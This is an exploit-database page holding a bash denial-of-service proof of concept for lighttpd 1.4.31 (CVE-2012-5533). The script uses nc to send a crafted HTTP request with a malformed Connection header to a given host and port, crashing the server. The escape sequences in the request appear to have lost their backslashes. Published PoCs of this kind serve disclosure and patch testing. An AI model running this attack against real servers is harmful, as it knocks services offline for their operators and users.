[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : lighttpd 1.4.31 Denial of Service PoC
# Published : 2012-11-22
# Author :
# Previous Title : Windows Media Player 10 .avi Integer Division By Zero Crash PoC
# Next Title : JPEGsnoop <= 1.5.2 WriteAV Crash PoC
#!/bin/bash
# Exploit Title: simple lighttpd 1.4.31 DOS POC
# Date: 11/21/2012
# Exploit Author: t4c@ghcif.de
# Vendor Homepage: http://www.lighttpd.net
# Software Link: http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.31.tar.gz
# Version: 1.4.31
# Tested on: Debian Linux, Gentoo Linux, Arch Linux
# CVE: CVE-2012-5533
if [ $# -lt 2 ]
then
echo "usage :$0 <Host/IP> <Port>"
else
echo -ne "GET / HTTP/1.1rnHost: pwn.edrnConnection: TE,,Keep-Alivernrn" | nc $1 $2
fi